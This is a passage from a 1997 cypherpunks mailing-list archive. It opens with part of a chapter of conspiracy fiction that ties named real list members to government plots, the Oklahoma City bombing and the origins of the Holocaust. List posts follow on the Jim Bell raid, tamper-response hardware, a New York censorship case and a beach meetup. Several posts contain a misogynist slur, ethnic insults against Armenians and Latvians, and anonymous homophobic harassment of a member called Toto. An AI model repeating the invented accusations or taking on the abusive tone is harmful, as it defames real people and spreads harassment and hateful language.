ftp://idea.sec.dsi.unimi.it/pub/security/crypt/code/s-tools4.zip

http://www.cs.hut.fi/ssh/crypto/software.html#stego

Jonathan booted the S-tools Stego program and ran a quick password
breaker on it. It took 48 milliseconds to crack. Obviously, secrecy
was not a concern to whomever had sent the Stego to the CypherPunks
list.
The password was "WebWorld."

Jonathan quickly uncompressed the resulting file with PKZip, another
archaic program of the period, and read the contents of the files
that were produced.
What he found gave him pause for thought.

The hidden post regarding the Author was not a great surprise.

It laid out the Author's connection to a variety of groups, mostly
referred to as 'cults' in his time, which were no great secret
to those with a serious grounding in the history of the Magic
Circle.
The Author had travelled widely and had been influential in the
formation of a variety of groups/cults in his time, although most
were perversions of his original concepts and philosophies. The
Branch Davidians, Heaven's Gate, Canadian Solar Temple offshoots,
the Montana survivalists and Elohim City tentacles had each taken
portions of his teachings and corrupted them to suit their own
ends. 

The hidden post regarding Jim Bell, however, had surprised Jonathan
and was an indication that he should check further into just what
import it had in relation to CypherPunk history.
What he discovered would astound him.

Received: (from majordom@localhost) by toad.com (8.7.5/8.7.3)
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17:40:11 -0800 (PST)

Received: from tcs_gateway2.treas.gov (tcs-gateway2.treas.gov
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From: IRSNWPR@net.insp.irs.gov

Date: Tue, 1 Apr 1997 15:18:46 -0500

Message-Id: <199704012018.PAA00555@net.insp.irs.gov>

To: Interested_Parties@net.insp.irs.gov

Subject: Something of interest...

Sender: owner-cypherpunks@toad.com


The Oregonian, Wednesday, April 2, 1997

20 armed federal agents raid home in Vancouver

By John Painter Jr. of The Oregonian staff

VANCOUVER, Wash. - About 20 armed agents from at least three federal

agencies in four states raided a Vancouver home Tuesday, apparently

looking for evidence of a plot to kill government officials.

Sources said James D. Bell...

Jonathan studied the headers from the message.
The header indicated that the post came from tcs_gateway2.treas.gov.

The header also indicated that the message was composed on April
1, the day preceding the news story of April 2, which it purported
to be quoting. Since the header could have easily been forged,
particularly considering the fact that it arrived at toad.com
on April 2, Jonathan could easily have dismissed it as a shallow
attempt at forged precognition.
Knowing that the Magic Circle was renowned for laying a cryptic
trail, however, Jonathan had to consider the fact that this shallow
forgery could well be a pointer to a more valid clue as to what
was really going on in the background of the Jim Bell affair.

Jonathan kicked in his date/time synchronicity module and it quickly
revealed the presence of another post to the CypherPunks list
which came a step closer to revealing preplanning by someone in
relation to Bell's troubles.

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(8.8.5/8.6.9) id KAA11717 for cypherpunks@toad.com; Tue, 1 Apr
1997 10:32:07 -0800

Date: Tue, 1 Apr 1997 10:32:07 -0800

To: cypherpunks@toad.com

From: nobody@huge.cajones.com (Huge Cajones Remailer)

Dear Mr. Bell:
We have been both pleased and relieved to note
that over the past several months you have used
the troublesome initials "AP" much less frequently
than has been your habit. 

This measurable improvement in your attitude
has considerably reduced the influx of damaging materials
into your files.

Today, however, it has been brought to our attention
that you took the opportunity to launch into an explanation
(relatively controlled, we hasten to say) of the
basic theory you have been propounding regarding AP.

More troublesome is the evidence that you, yourself,
posted the supposedly anonymous question to which you responded.

We sincerely hope that such felonious manipulation of e-mail traffic

and information does not indicate a return to your previous
unacceptable outbursts.

Always hoping for the best, we remain,

The Bell Team
secserv@whitehouse.gov

Jonathan thought about the potential import of this post.
It had been sent mere minutes after the assault on Jim Bell's
residence, and a full day before the news reports of the event.
It was obviously done by someone with inside information on the
raid-someone who was poking fun at those involved in the raid.

Further inquiry suggested that it had been sent through a CypherPunks
remailer by camcc@abraxis.com, a known confederate of those claiming
to represent the Magic Circle of that era.

Another troubling feature came to light when Jonathan checked
the government paperwork regarding the Federal government's search
and seizure on Bell's residence, which was an obvious fishing
expedition meant to send a chilling message to those who dared
to express anti-government sentiments in public forums.
Greg Broiles, a C2Net foil on the CypherPunks list, had put the
documents up on his website at: http://www.parrhesia.com/jimbell.

Jonathan immediately recognized that the so-called application
for a search warrant was pre-dated to March 28, as was usual when
the government agencies had a desire to cover the trail of the
motivations surrounding their activities. What surprised him,
however, was the blatancy which they used in pointing to the true
underlying motives in their attack on Bell.

The alleged 'time' at which the search warrant was signed was
9:02 am.
The exact hour and minute of the bombing of the Oklahoma City
Federal Building, which was the current 'cause celebre' of the
decade.

Jonathan had noticed, from other official documents of the era,
that the underground government agencies behind many of these
covert actions would use this 'time stamp' to indicate the true
nature of their probing actions.
Obviously, the agency behind this was trying to pry loose the
true connection of the Author to the execution of Snell, McVeigh's
role in the OK City bombing, and the fragile links of Bell's "Assassination
Politics" manifesto to the lunatic fringe whose web of treachery
wound throughout the the U.S, from Montana to Oklahoma, and points
west.

Jonathan compared the Oregonian press reports of the raid on Bell's
residence with the post regarding the Author's dark connections
(both of which he found in the Chapter 25 Stego).
The slimly disguised link was the reference to the origins of
the license plates on the vehicles used by the Author, and the
license plates on the government vehicles involved in the raid
on Bell's home. In both works, the reference to the license plates
seemed superfluous to the event being reported.
Further analysis convinced Jonathan that the CypherPunks post
in regard to the author, several days before the raid on Bell
took place, was the work of the same author who did the report
for the Oregonian about the raid on the Bell residence.

Jonathan also followed the trail linking the Author with Bureau
42 and realized that David E. Smith and Rich Graves, both CypherPunks,
had tentacles that reached far beyond the apparent simplistic
aims that the organization claimed for themselves, with links
that could be followed to the origins of the Holocaust that had
defined the grandoise efforts of the Evil One in an immediately
preceding time period.

The big mystery in Jonathan's mind, as usual, was what role various
CypherPunks had played in this comedy of terrors.

Jonathan did a quick traffic analysis on the events preceding
and following the 'event' of the attack on Jim Bell, and found
the usual.
In this case, shortly before the attack on Bell, Kent Crispin
surfaced, replying to a few mundane posts on the CypherPunks list.
Immediately after the Bell situation caused discussion on the
list, Crispin jumped into the fray, attempting to muddy the waters
surrounding the Bell situation.
Then Hallam-Baker jumped in, adding to Crispin's efforts with
his own attempts to castigate Bell, leading other CypherPunks
to join in calling Bell a "loon" whose ideas were a
detriment to CypherPunk philosophy.
Jonathan followed the trail of posts and found nothing particularly
surprising. It was the same-old, same-old. The usual players coming
out of the woodwork to support each other's efforts to direct
the discussions in a manner that would lead the list threads away
from areas of concern to the government actors in the background.

Adam Back and John Young, Duvos, snow and the Fatman, among others,
would post missives which cut to the heart of the matter, but
their efforts would get lost in the more emotive posts by the
kooks and the disinformation artists.
After the intial plethora of posts regarding Bell, government
schills such as Crispin would begin posting a variety of items
containing bullshit logic which would then be set upon by those
who saw the fallacies contained therein, but who didn't realize
that their purpose was to evoke response which would further bury
matters of more immediate import to the future of the CypherPunks.

Even Tim May seemed to go through a period which was oddly supportive
of the government forces aligning against Bell, which only fueled
the fires of Jonathan's suspicions that Bell was actually playing
an active role in his own persecution.
"Ask not for whom Bell toils..."
Was Bell actually working as a government agent, lending himself
to the spooks' efforts to send chilling messages to free speech
advocates on the CypherPunks list?
"Ask not for whom Bell trolls..."
Was Bell setting up the government agents for a false start in
their attacks on the individual CypherPunks? Was he initiating
a 'wake up call' for those on the list who thought that the list
was nothing more than a grand game of "What if...?"


Jonathan poured himself a fresh shot of Jim Beam.

Crispin, Hallam-Baker, snow, Duvos and the Fatman. Each and every
one of them could actually be playing a role totally contrary
to that which Jonathan had attributed to them by virtue of his
far-reaching, in-depth analysis of their posts.
The more that he delved into the eternal mysteries of the anarchistic
CypherPunks, the more Jonathan realized that history was in the
past, and that the future lie in the actions that he would, himself,
would take today.

The future was in his hands, and Jonathan had absolutely no idea
what to do.

There was a knock on the door of his old apartment...
Jonathan froze.


Chapter 29 - Bureau 42







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 9 Apr 1997 15:23:01 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re: NSA Intercepts Sent to Democratic National Committee
In-Reply-To: <v0300780aaf71a035468b@[207.167.93.63]>
Message-ID: <JJuw5D1w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


"Timothy C. May" <tcmay@got.net> writes:

> Reports that the White House fed NSA phone intercepts to the Democratic
> National Committee (DNC), for political purposes.
> 
> The calls were between a New York businessman and a Latvian national.

This reminds me how some stupid cunt on Usenet thought I was latvian and
posted hundreds of kilobytes of flames about how stupid latvians were
using me as an example.  Of course, I am NOT latvian in any way.


---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 9 Apr 1997 15:23:24 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re: Bot-generated insults
In-Reply-To: <Pine.SUN.3.91.970408115823.14909A-100000@beast.brainlink.com>
Message-ID: <VwVw5D2w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Ray Arachelian <sunder@brainlink.com> writes:
> > > written basic at that.  I've seen better code written by chimpanzees.
> > If Ray "Arsen" Arachelian can work for Earthweb, LLP, as an "associate
> > network adiministrator", then I'm not surprised if they have chimpanzees
> > writing Java code as well.
> As for the programmers Earthweb employs, I can assure you there is nary any
> of the ape family. (Though some wear extremely cool beards :) And Java 
> they can write.  But I code no Java, so I won't speak further on the issue.
No one thought you could. We already know that chimpanzees are smarter than
Amrenians. Please don't waste the bandwidth by demonstrating it yet again.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Cynthia H. Brown" <cynthb@sonetis.com>
Date: Wed, 9 Apr 1997 14:43:59 -0700 (PDT)
To: Lucky Green <shamrock@netcom.com>
Subject: Re: Black box attacks (was Re: Crypto-Dongel)
In-Reply-To: <3.0.32.19970409134223.007296b8@netcom13.netcom.com>
Message-ID: <Pine.BSD/.3.91.970409170243.266C-100000@mrburns.iosphere.net>
MIME-Version: 1.0
Content-Type: text/plain


On Wed, 9 Apr 1997, Lucky Green wrote:

> At 12:35 PM 4/9/97 -0400, Cynthia H. Brown wrote:
> >If you're trying to destroy a standard IC, why don't you just hook up the
> >power and ground pins to a 120V AC outlet? 
> 
> You are unlikely to have AC in a system by the time the tamper detector
> senses an intrusion. Similar problems apply to arcs and anything based on
> discharging a large capacitor.

True, if you haven't installed a circuit in advance with some sort of
switch or circuit breaker to kick in when the PC's cover is opened (in
your absence), or the Big Red Button beside your PC is pushed (in your
presence).  Assuming you're dealing with a PCMCIA card, it would be easy
to rig up an alternate "reader" to fry the card as soon as it's plugged
in. 

All of this has been done before - most high-security crypto devices have
built-in zeroisation / tamper response. 

And no, I'm not sufficiently paranoid to have this on _my_ home PC.

Cynthia

===============================================================
		   Cynthia H. Brown, P.Eng.
E-mail:     cynthb@iosphere.net  | PGP Key:  See Home Page
Home Page:  http://www.iosphere.net/~cynthb/
Junk mail will be ignored in the order in which it is received.

        Klein bottle for rent; enquire within.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alec <camcc@abraxis.com>
Date: Wed, 9 Apr 1997 14:56:25 -0700 (PDT)
To: Toto  <toto@sk.sympatico.ca>
Subject: Re: Reactionaries
In-Reply-To: <334AAE5E.38F5@sk.sympatico.ca>
Message-ID: <3.0.1.32.19970409175517.007ceaf0@smtp1.abraxis.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

At 01:32 PM 4/9/97 -0600, you wrote:
|Timothy C. May wrote:
|
|> Let's not make the Cypherpunks firing squad a circle.
|
|  Although Tim has been on the rag lately, perhaps this bit
|of humor is a sign that his period (pardon the pun) of male
|menopause is over.

This sort of snide sexist humor has no place here.

Alec
-----BEGIN PGP SIGNATURE-----
Version: 4.5

iQCVAgUBM0wQQiKJGkNBIH7lAQGBaQQAsuFkZj/9SiPCQQVBRXTGJNCwd0vK2y//
+FPs5naC0/xxEVR/K5TA2gP9L9LxQ9E8/XPV7UuMUnlac57TKhfZWA3R5nsEDwt2
lQ0ypCjeQjDodAOI5IkBLBOTXm+TUBFWlU7XyDk/xP23IOkCPFETU28qOAkbO3eq
K81NNgvfnPs=
=3mlt
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 9 Apr 1997 17:11:49 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re: Reactionaries
In-Reply-To: <3.0.1.32.19970409175517.007ceaf0@smtp1.abraxis.com>
Message-ID: <DJZw5D96w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Alec <camcc@abraxis.com> writes:

> -----BEGIN PGP SIGNED MESSAGE-----
>
> At 01:32 PM 4/9/97 -0600, you wrote:
> |Timothy C. May wrote:
> |
> |> Let's not make the Cypherpunks firing squad a circle.
> |
> |  Although Tim has been on the rag lately, perhaps this bit
> |of humor is a sign that his period (pardon the pun) of male
> |menopause is over.
>
> This sort of snide sexist humor has no place here.

What sort of humor does have a place here?

Timmy's racist rants about petards and crazy Russians?

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Phillip M. Hallam-Baker" <hallam@ai.mit.edu>
Date: Thu, 10 Apr 1997 13:43:40 -0700 (PDT)
To: "Cypherpunks (E-mail)" <cypherpunks@toad.com>
Subject: Checkout the crypto in IE 4.0
Message-ID: <01BC45CF.1AA8ACE0@crecy.ai.mit.edu>
MIME-Version: 1.0
Content-Type: text/plain


Maybe people have already noticed but the pre-release IE 4.0 has S/MIME encryption and signatures built in. I'm trying to set it up as we speak.

Unfortunately Outlook Express does not seem to pick up the Outlook '97 address book so I haven't been able to add the sig to this message :-)



Phillip M. Hallam-Baker
Visitng Scientist
MIT Laboratory for Artificial Intelligence.
hallam@ai.mit.edu
http://www.ai.mit.edu/people/hallam/hallam.html






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Wed, 9 Apr 1997 16:58:11 -0700 (PDT)
To: cypherpunks@toad.com
Subject: New York court hears challenge to state Net-censorship law
Message-ID: <v03007811af71dc5471d4@[168.161.105.191]>
MIME-Version: 1.0
Content-Type: text/plain



**********

Date: Wed, 9 Apr 1997 17:50:08 -0400
To: fight-censorship-announce@vorlon.mit.edu
From: Declan McCullagh <declan@well.com>
Subject: FC: New York court hears challenge to state Net-censorship law
Sender: owner-fight-censorship-announce@vorlon.mit.edu
Reply-To: declan@well.com
X-FC-URL: Fight-Censorship is at http://www.eff.org/~declan/fc/

**************

http://cgi.pathfinder.com/netly/editorial/0,1012,811,00.html

The Netly News Network
April 8, 1997

The Bad Apple
by Declan McCullagh (declan@well.com)

     To those of us who follow such events, it's
a common enough scene: a squad of civil liberties
attorneys troops into a federal courtroom to do
righteous battle with an unconstitutional law. It
happened this week in New York City, before a
judge who finished hearing testimony yesterday in
a case the ACLU brought against yet another state
Net-censorship statute.

     The outcome in this lawsuit, however, will
reverberate not just in the Empire State but also
along the marble corridors of the U.S. Capitol.
If the Supreme Court rules that the
Communications Decency Act indeed violates the
First Amendment, Congress hopes the New York case
will guide it in revising the law so it passes
constitutional muster. And given how the New York
case is shaping up for the forces of unbridled
free speech, that could be ugly.

     A group of 15 plaintiffs challenging the New
York statute filed suit in January, arguing that
that the law unconstitutionally stifles online
speech and unduly interferes with interstate
commerce on the Net. The measure, which took
effect last November, amends the penal code by
making it a crime to distribute online pictures
or text "which is harmful to minors." Attorneys
for the New York attorney general's office, who
are defending the law, say that the "harmful to
minors" legal standard isn't as heinous as the
CDA's "indecency" ban -- it covers only sexually
explicit pictures, not textual conversations.
They also argue that filtering software could be
used to help online purveyors of adult-only stuff
comply with the state statute.

     Of course, as always, academics, librarians
and artists point out that these attempts to
limit online communications are overly broad and
ill-defined. What I consider harmful to a kid
might not be what you consider harmful, after
all. Yesterday four witnesses testified for the
plaintiffs, uniformly saying they felt threatened
by the law. "I walk around with a healthy fear
that every book in our collection would give
someone the idea that we're giving harmful
materials to minors," said Maurice Friedman,
executive director of the Westchester Library
System. Rudolf Kinsky, an artist from Poland,
weighed in next: "I feel a chilling effect on my
creativity. Someone could consider my art harmful
to minors and could prosecute me. I came to this
country [from Poland] looking for freedom of
speech, not this."

     But yesterday's testimony seemed like the
capper to an overwhelmingly poor showing the
government made in its opening arguments last
week. The government's case lasted a mere hour
and was hardly persuasive. Among other gaffes,
the state failed to slide a new legal standard --
"level of maturity" -- into the discussion; Judge
Loretta Preska quickly rebuffed that attempt: "I
don't read 'level of maturity' anywhere in the
statute," she said, nettled. That wasn't the only
time Preska pounced on the government. By the end
of the three-day hearing, I was ready to bet good
money on the ACLU winning yet another victory for
the Net.

     But I have a confession to make. In January
I claimed that "knocking down New York's law
should be a virtual slam dunk," saying it suffers
from all of the same problems as the CDA. But
now, after reading a recent law review article by
UCLA law professor Eugene Volokh, I'm not as
sure. Volokh points out that the government could
rely on the ready existence of ratings schemes,
such as RSACi and PICS, which give publishers the
ability to keep their material out of the hands
of minors. He writes: "Under the existing
doctrine, it would be constitutional to
criminalize the display of any harmful-to-minors
material which does not carry a correct rating."

     In other words, rate your web pages with
RSACi or go to jail. (I can't see Microsoft, the
Software Publishers Association and other RSACi
boosters probably opposing this. I can smell
another Microsoft world-domination plot brewing
already...) Indeed, Volokh told me yesterday that
he thinks the New York attorney general may have
a workable case. "I think the state has a decent
defense. They could say look, this rating imposes
a burden but not a very high burden. It's like
that imposed on a bookseller. All you're required
to do is put on this label."

     Certainly, Net rating systems played a big
part in the New York trial. Last Friday a
government attorney asked: "In general, what
would be more burdensome as a whole: requiring
millions of web sites to rate their contents or
just requiring a percentage of web sites that
contain graphical objectionable material to rate
their web sites?" What the government was trying
to point out was that rating systems like RSACi
-- that let you assign values to web pages based
on nudity or violence -- are increasingly
commonplace. If they're commonplace, then
netizens may be able to comply with the New York
law. And if netizens can comply with the law,
then it may be constitutional.

[...]

     "Harmful to minors is something people will
talk about again and it's an option, but I don't
want to say we'll be out there trumpeting it,"
says Connie Correll, spokeswoman for Rep. Rick
White, a Republican congressman from Washington
State -- whose district includes Microsoft.
(Coincidence, or another Microsoft attempt at
world domination? While you're pondering the
question, keep in mind that White championed
"harmful to minors" language in December 1995,
but Congress rejected it in favor of the CDA's
broader "indecency" ban.) Correll adds: "People
are watching the New York case. I think it's
going to be a real good indication." So do I.

###


--------------------------------------------------------------------------
This list is public. To join fight-censorship-announce, send
"subscribe fight-censorship-announce" to majordomo@vorlon.mit.edu.
More information is at http://www.eff.org/~declan/fc/


-------------------------
Time Inc.
The Netly News Network
Washington Correspondent
http://netlynews.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ARTURO GRAPA YSUNZA <AGRAPA@banamex.com>
Date: Thu, 10 Apr 1997 13:26:38 -0700 (PDT)
To: "declan@well.com>
Subject: RE: New York court hears challenge to state
Message-ID: <c=MX%a=_%p=BANACCI%l=CENTRALES/BARRANCA24/0001565A@mex3976bcaop1.banamex.com>
MIME-Version: 1.0
Content-Type: text/plain



Remember that the Internet is an international playground and while the
U.S. Government may say "Rate your site or go to jail" or worse yet
filter traffic that is not rated (blind censorship), the rest of the
world may go on its merry way and not even flinch (crypto is a good
example). Sounds like a state-run New York Times. The phrase "harmful to
children" also means different things in different countries.

Maybe the idea is that countries and/or sites that do not rate their
content will be blocked from accessing U.S. sites (immigration law on
the net). Other countries could do the same in retaliation. That would
mean the loss of access to a lot of information for all sides.

	"Excuse me sir, I can't let your packet pass unless I've seen your Net
passport and visa".

And what happens to all those international sites hosted on U.S.
territory? If they were to move out it would mean a loss of $$ for U.S.
companies (again).

Also, don't forget that state laws would impede interstate commerce
(loss of revenue for the state). I see the word "boycott" in my future.

Somebody please slap the person who said the Cold War was over.

I'm glad that somebody has finally discovered time travel. Unforunately
its in back in time not forward!


Art Grapa
agrapa@banamex.com


 ----------
From: Declan McCullagh
To: ARTURO GRAPA YSUNZA; cypherpunks@toad.com
Subject: New York court hears challenge to state
Date: Wednesday, April 09, 1997 7:33PM

Microsoft Mail v3.0 IPM.Microsoft Mail.Note
De: Declan McCullagh
Para:  ARTURO GRAPA YSUNZA
     cypherpunks@toad.com
Asunto:  New York court hears challenge to state
Fecha: 1997-04-09 19:33
Prioridad: 3
Ident. del mensaje: 9E367DA622B0D011AF8D006097838CEB

 -----------------------------------------------------------------------
----- --

**********

Date: Wed, 9 Apr 1997 17:50:08 -0400
To: fight-censorship-announce@vorlon.mit.edu
From: Declan McCullagh <declan@well.com>
Subject: FC: New York court hears challenge to state Net-censorship law
Sender: owner-fight-censorship-announce@vorlon.mit.edu
Reply-To: declan@well.com
X-FC-URL: Fight-Censorship is at http://www.eff.org/~declan/fc/

**************

http://cgi.pathfinder.com/netly/editorial/0,1012,811,00.html

The Netly News Network
April 8, 1997

The Bad Apple
by Declan McCullagh (declan@well.com)

     To those of us who follow such events, it's
a common enough scene: a squad of civil liberties
attorneys troops into a federal courtroom to do
righteous battle with an unconstitutional law. It
happened this week in New York City, before a
judge who finished hearing testimony yesterday in
a case the ACLU brought against yet another state
Net-censorship statute.

     The outcome in this lawsuit, however, will
reverberate not just in the Empire State but also
along the marble corridors of the U.S. Capitol.
If the Supreme Court rules that the
Communications Decency Act indeed violates the
First Amendment, Congress hopes the New York case
will guide it in revising the law so it passes
constitutional muster. And given how the New York
case is shaping up for the forces of unbridled
free speech, that could be ugly.

     A group of 15 plaintiffs challenging the New
York statute filed suit in January, arguing that
that the law unconstitutionally stifles online
speech and unduly interferes with interstate
commerce on the Net. The measure, which took
effect last November, amends the penal code by
making it a crime to distribute online pictures
or text "which is harmful to minors." Attorneys
for the New York attorney general's office, who
are defending the law, say that the "harmful to
minors" legal standard isn't as heinous as the
CDA's "indecency" ban -- it covers only sexually
explicit pictures, not textual conversations.
They also argue that filtering software could be
used to help online purveyors of adult-only stuff
comply with the state statute.

     Of course, as always, academics, librarians
and artists point out that these attempts to
limit online communications are overly broad and
ill-defined. What I consider harmful to a kid
might not be what you consider harmful, after
all. Yesterday four witnesses testified for the
plaintiffs, uniformly saying they felt threatened
by the law. "I walk around with a healthy fear
that every book in our collection would give
someone the idea that we're giving harmful
materials to minors," said Maurice Friedman,
executive director of the Westchester Library
System. Rudolf Kinsky, an artist from Poland,
weighed in next: "I feel a chilling effect on my
creativity. Someone could consider my art harmful
to minors and could prosecute me. I came to this
country [from Poland] looking for freedom of
speech, not this."

     But yesterday's testimony seemed like the
capper to an overwhelmingly poor showing the
government made in its opening arguments last
week. The government's case lasted a mere hour
and was hardly persuasive. Among other gaffes,
the state failed to slide a new legal standard --
"level of maturity" -- into the discussion; Judge
Loretta Preska quickly rebuffed that attempt: "I
don't read 'level of maturity' anywhere in the
statute," she said, nettled. That wasn't the only
time Preska pounced on the government. By the end
of the three-day hearing, I was ready to bet good
money on the ACLU winning yet another victory for
the Net.

     But I have a confession to make. In January
I claimed that "knocking down New York's law
should be a virtual slam dunk," saying it suffers
from all of the same problems as the CDA. But
now, after reading a recent law review article by
UCLA law professor Eugene Volokh, I'm not as
sure. Volokh points out that the government could
rely on the ready existence of ratings schemes,
such as RSACi and PICS, which give publishers the
ability to keep their material out of the hands
of minors. He writes: "Under the existing
doctrine, it would be constitutional to
criminalize the display of any harmful-to-minors
material which does not carry a correct rating."

     In other words, rate your web pages with
RSACi or go to jail. (I can't see Microsoft, the
Software Publishers Association and other RSACi
boosters probably opposing this. I can smell
another Microsoft world-domination plot brewing
already...) Indeed, Volokh told me yesterday that
he thinks the New York attorney general may have
a workable case. "I think the state has a decent
defense. They could say look, this rating imposes
a burden but not a very high burden. It's like
that imposed on a bookseller. All you're required
to do is put on this label."

     Certainly, Net rating systems played a big
part in the New York trial. Last Friday a
government attorney asked: "In general, what
would be more burdensome as a whole: requiring
millions of web sites to rate their contents or
just requiring a percentage of web sites that
contain graphical objectionable material to rate
their web sites?" What the government was trying
to point out was that rating systems like RSACi
 -- that let you assign values to web pages based
on nudity or violence -- are increasingly
commonplace. If they're commonplace, then
netizens may be able to comply with the New York
law. And if netizens can comply with the law,
then it may be constitutional.

[...]

     "Harmful to minors is something people will
talk about again and it's an option, but I don't
want to say we'll be out there trumpeting it,"
says Connie Correll, spokeswoman for Rep. Rick
White, a Republican congressman from Washington
State -- whose district includes Microsoft.
(Coincidence, or another Microsoft attempt at
world domination? While you're pondering the
question, keep in mind that White championed
"harmful to minors" language in December 1995,
but Congress rejected it in favor of the CDA's
broader "indecency" ban.) Correll adds: "People
are watching the New York case. I think it's
going to be a real good indication." So do I.

###


 -----------------------------------------------------------------------
---
This list is public. To join fight-censorship-announce, send
"subscribe fight-censorship-announce" to majordomo@vorlon.mit.edu.
More information is at http://www.eff.org/~declan/fc/


 -------------------------
Time Inc.
The Netly News Network
Washington Correspondent
http://netlynews.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Wed, 9 Apr 1997 23:12:58 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Reactionaries
Message-ID: <199704100612.XAA27490@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain


Toto is another loser who pays for sick.sympatico.ca-ca 
because he lacks the mental capacity to gain net access as 
a perk of either employment or academic achievment.

          ,,,
         ($ $)
     -ooO-(_)-Ooo- To[homo]to






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@hidden.net (Anonymous)
Date: Thu, 10 Apr 1997 00:23:52 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Reactionaries
Message-ID: <199704100619.XAA05430@swan>
MIME-Version: 1.0
Content-Type: text/plain


Toto is another loser who pays for sick.sympatico.ca-ca 
because he lacks the mental capacity to gain net access as 
a perk of either employment or academic achievment.

          ,,,
         ($ $)
     -ooO-(_)-Ooo- To[homo]to







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Wed, 9 Apr 1997 23:27:49 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Assassination Politics
Message-ID: <199704100627.CAA10692@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


Toto's abysmal grammar, atrocious spelling and 
feeble responses clearly identify him as a product of the 
American education system.

       >\\\|/<
       |_    ;
       (O) (o)
   -OOO--(_)--OOOo- T[h]o[mo]to






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Thu, 10 Apr 1997 02:35:42 -0700 (PDT)
To: coderpunks@toad.com
Subject: APRIL BAY AREA CYPHERPUNKS MEETING AND BEACH PARTY, BONNY DOON
Message-ID: <3.0.1.32.19970410023200.0063d7b0@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


The April Bay Area Cypherpunks Meeting will be held jointly with the
Clan MacDude Back To The Beach party, April 12 at Bonny Doon Beach.   
( www.macdude.org , http://www.macdude.org/aprbeach.htm for event
description.)
Among other things, John Randolph was planning to do a 
Great Wall of Fire with his leftover moving boxes, and various
other cypherpunks are part of the Glorious Clan, which is a generally
silly organization.  

Cypherpunkish agenda: It's been a quiet month, except for Jim Bell.
	CFP was just after the March meeting.  The UK is hyping Key Escrow.
	Bring some discussion topics that benefit from handwaving
	but don't need a blackboard :-)  Ron Rivest and Carl Ellison
	have been doing some good work on key distribution.
	PGP Inc. is up to something.  China is announcing plans for Hong Kong.
	It's also time to celebrate "Diffie-Hellman Would Have Been Patent-Free!"
	day, though of course they changed the patent laws to make it September.

MacDude planned events
     Fizzball: A game involving cheap evil smelling beer and large stick 
     Caber toss: Except that we use a surf board 
     Haggis toss: Using an old Bean Bag Chair 
     Siege engines: How far can you launch a can of fizzbeer? 
     Bonny knees contest: Best legs in (or out) of a kilt, blindfolded
judging. 
     Dry Ice bombs: Dry Ice in plastic soda bottles, big boom. 
     Fire: Fire pit as executed by the army corpse of engineers 
     Music: Bardic and Filk around the burning pit of doom and cheer 
     Food and drink: bring stuff for potlucking. 
     Silly clothes: Plaid and hawaiian print. 

	"During the day there will be many special events including a 
	Caber toss (with a longboard), a contest for best legs in a kilt
	(judging with and without blindfolds), ritual sacrificing of 
	consumer goods, sand fortress building and, of course, fizzball.
	There will be a potluck dinner on the beach featuring a whole roast pig.

Time: All day, especially afternoon and dinner time.
What to bring: Food, Toys, Silly People, Sand-tolerant musical instruments.
	Catapults are good, too...

Directions to Bonny Doon:

Bonny Doon Beach is about 8-9 miles north of Santa Cruz on Hwy 1 
(still south of Davenport (but only just...)). Bonny Doon Road is inland. 
The beach is between the highway and the ocean.  Park and walk
over the hill to the ocean. (This hill is a steep begger, with an abandoned
rail line across the top.) 

Map:
http://www.vicinity.com/yt.hm?FAM=mapblast&CMD=GEO&SEC=find&IC=0%3A0%3A5&IC%
3A=Beach+Party&AD2=Highway+1+%26+Bonny+Doon+Rd.&AD3=Santa+Cruz%2C+CA

ASCII MAP   1
		|
		|
	Beach	|------ Bonny Doon Road
		|
		|
		~
		~
		Santa Cruz 

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sergey Goldgaber <sergey@el.net>
Date: Thu, 10 Apr 1997 00:42:53 -0700 (PDT)
To: Greg Broiles <gbroiles@netbox.com>
Subject: Re: Jim Bell raid
In-Reply-To: <3.0.1.32.19970409033358.02744600@postoffice.pacbell.net>
